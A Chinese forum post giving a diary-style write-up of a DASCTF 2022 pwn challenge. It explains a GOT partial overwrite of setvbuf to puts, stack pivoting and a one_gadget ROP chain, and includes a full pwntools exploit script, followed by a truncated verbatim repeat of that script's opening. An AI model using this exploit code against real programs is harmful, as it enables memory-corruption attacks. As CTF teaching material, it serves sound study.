-
-
[原创]【Dasctf2022三月月赛】pwn手短程坐牢实录
-
发表于: 2022-4-28 18:38 13991
-
早上8点40起床,以为9点打比赛,匆匆忙忙洗漱一下就赶紧打开电脑。结果10点hhhhh
比xxxx良心多了
然后去学校美食城吃了一碗牛肉粉,就run去协会了,到协会发现void和cjj早就在了,但是ymnh居然没来。
qq上问
。。。。
然后过了没多久10点,平台正常卡了一会就开始坐牢了。checkin一开始就想到的ret2dlresolve,因为前天面NaN的时候负责人MR.R正好问过,但是俺不会啊。。。所以想到爆破。但是俺的爆破太低级了,而且会受到onegadget寄存器的限制。然后就去看pwn2了,发现应该是house of orange但是没啥思路,就回去看pwn1,按着32位的模板调了一下午,后来还是没出。。。
比赛还有10分钟结束的时候和MR.R交流了一回,然后也和校外师傅和ymnh交流了一下,发现,乱搞它不香吗?
刚刚在自己的虚拟机上也测试了一下乱搞的爆破模板,不到1秒中就跑出了。。。。
所以ret2dlresolve都不学
非常的直接嗷
热知识——在libc中setvbuf和puts函数离得非常近,就低4位不相同,那么如果采取覆盖setvbuf低4位使得调用setvbuf的plt的时候跳转到puts函数,爆破大概16分之一的概率就可
所以别提那破寄吧ret2dlresolve了,就按着setvbuf打,这样我们就有了泄露libc地址的机会。
然后这题其实涉及到栈迁移和控制ebp指针来实现任意地址写的,具体是这样的:
第一次read覆盖rbp指针为bss(全局可写段),然后返回read函数前面mov rdi,[rbp+buf]的位置
就可往bss+buf上面写东西了,然后同样写到rbp(和bss是同一个值),将rbp置为bss+buf,然后ret leave ret 我们就同时也完成了栈迁移,这种利用手法是非常方便的。
from
pwn
import
*
from
LibcSearcher
import
*
from
pwnlib.util.iters
import
mbruteforce
from
hashlib
import
sha256
import
base64
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
def
proof_of_work(sh):
sh.recvuntil(
" == "
)
cipher
=
sh.recvline().strip().decode(
"utf8"
)
proof
=
mbruteforce(
lambda
x: sha256((x).encode()).hexdigest()
=
=
cipher, string.ascii_letters
+
string.digits, length
=
4
, method
=
'fixed'
)
sh.sendlineafter(
"input your ????>"
, proof)
##r = remote("chuj.top", 51904)
##proof_of_work(r)
libc
=
ELF(
'./libc.so.6'
)
elf
=
ELF(
'./checkin'
)
def
z(p):
gdb.attach(p)
## init_set
bss
=
0x404080
+
0xe00
pop_rsi_r15_ret
=
0x401251
leave_ret
=
0x4011E2
read_plt
=
elf.plt[
'read'
]
read_got
=
elf.got[
'read'
]
setbuf_got
=
elf.got[
'setvbuf'
]
setbuf_plt
=
elf.plt[
'setvbuf'
]
pop_rdi_ret
=
0x401253
## set_bss_ret
def
exp():
r
=
process(
'./checkin'
)
pd
=
0xa0
*
'a'
+
p64(bss)
+
p64(
0x4011BF
)
##z(r)
r.send(pd)
##sleep(1)
## stack_remove
pd
=
p64(
0
)
pd
+
=
p64(pop_rsi_r15_ret)
+
p64(setbuf_got)
+
p64(
0
)
+
p64(read_plt)
pd
+
=
p64(pop_rdi_ret)
+
p64(read_got)
pd
+
=
p64(setbuf_plt)
pd
+
=
p64(
0x401156
)
pd
=
pd.ljust(
0xa0
,
'a'
)
pd
+
=
p64(bss
-
0xa0
)
+
p64(leave_ret)
## recover_setvbuf_plt
##z(r)
r.send(pd)
##sleep(1)
r.send(
'\x50\x44'
)
##sleep(1)
libcbase
=
u64(r.recvuntil(
'\x7f'
).ljust(
8
,
'\x00'
))
-
libc.sym[
'read'
]
log.success(
'libcbase:'
+
hex
(libcbase))
## set_libc_func
pop_r15_ret
=
libcbase
+
0x23b71
pop_r12_ret
=
libcbase
+
0x2f739
onegadget
=
libcbase
+
0xe3b2e
## set_rop
rop
=
p64(pop_r15_ret)
+
p64(
0
)
+
p64(pop_r12_ret)
+
p64(
0
)
+
p64(onegadget)
## meikaierdu
pd
=
0xa0
*
'a'
+
p64(bss
+
0x100
)
+
p64(
0x4011bf
)
z(r)
r.send(pd)
pd
=
p64(
0
)
pd
+
=
rop
pd
=
pd.ljust(
0xa0
,
'\x00'
)
pd
+
=
p64(bss
+
0x100
-
0xa0
)
+
p64(leave_ret)
r.send(pd)
r.interactive()
##sleep(1000000)
while
True
:
try
:
exp()
except
:
continue
from
pwn
import
*
from
LibcSearcher
import
*
from
pwnlib.util.iters
import
mbruteforce
from
hashlib
import
sha256
import
base64
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
def
proof_of_work(sh):
sh.recvuntil(
" == "
)
cipher
=
sh.recvline().strip().decode(
"utf8"
)
proof
=
mbruteforce(
lambda
x: sha256((x).encode()).hexdigest()
=
=
cipher, string.ascii_letters
+
string.digits, length
=
4
, method
=
'fixed'
)
sh.sendlineafter(
"input your ????>"
, proof)
##r = remote("chuj.top", 51904)
##proof_of_work(r)
libc
=
ELF(
'./libc.so.6'
)
elf
=
ELF(
'./checkin'
)
def
z(p):
gdb.attach(p)
## init_set
bss
=
0x404080
+
0xe00
pop_rsi_r15_ret
=
0x401251
leave_ret
=
0x4011E2
赞赏
- 西湖论剑2024 IOT赛后复盘及mqtt rce详解 14709
- 对某嵌入式设备声波配网的研究 12069
- DAS10月月赛PWN出题心路&&CVE-2023-40930的介绍 11474
- [原创]关于Nokelock蓝牙锁破解分析 22124
- [原创]基于树莓派的蓝牙调试环境搭建 24613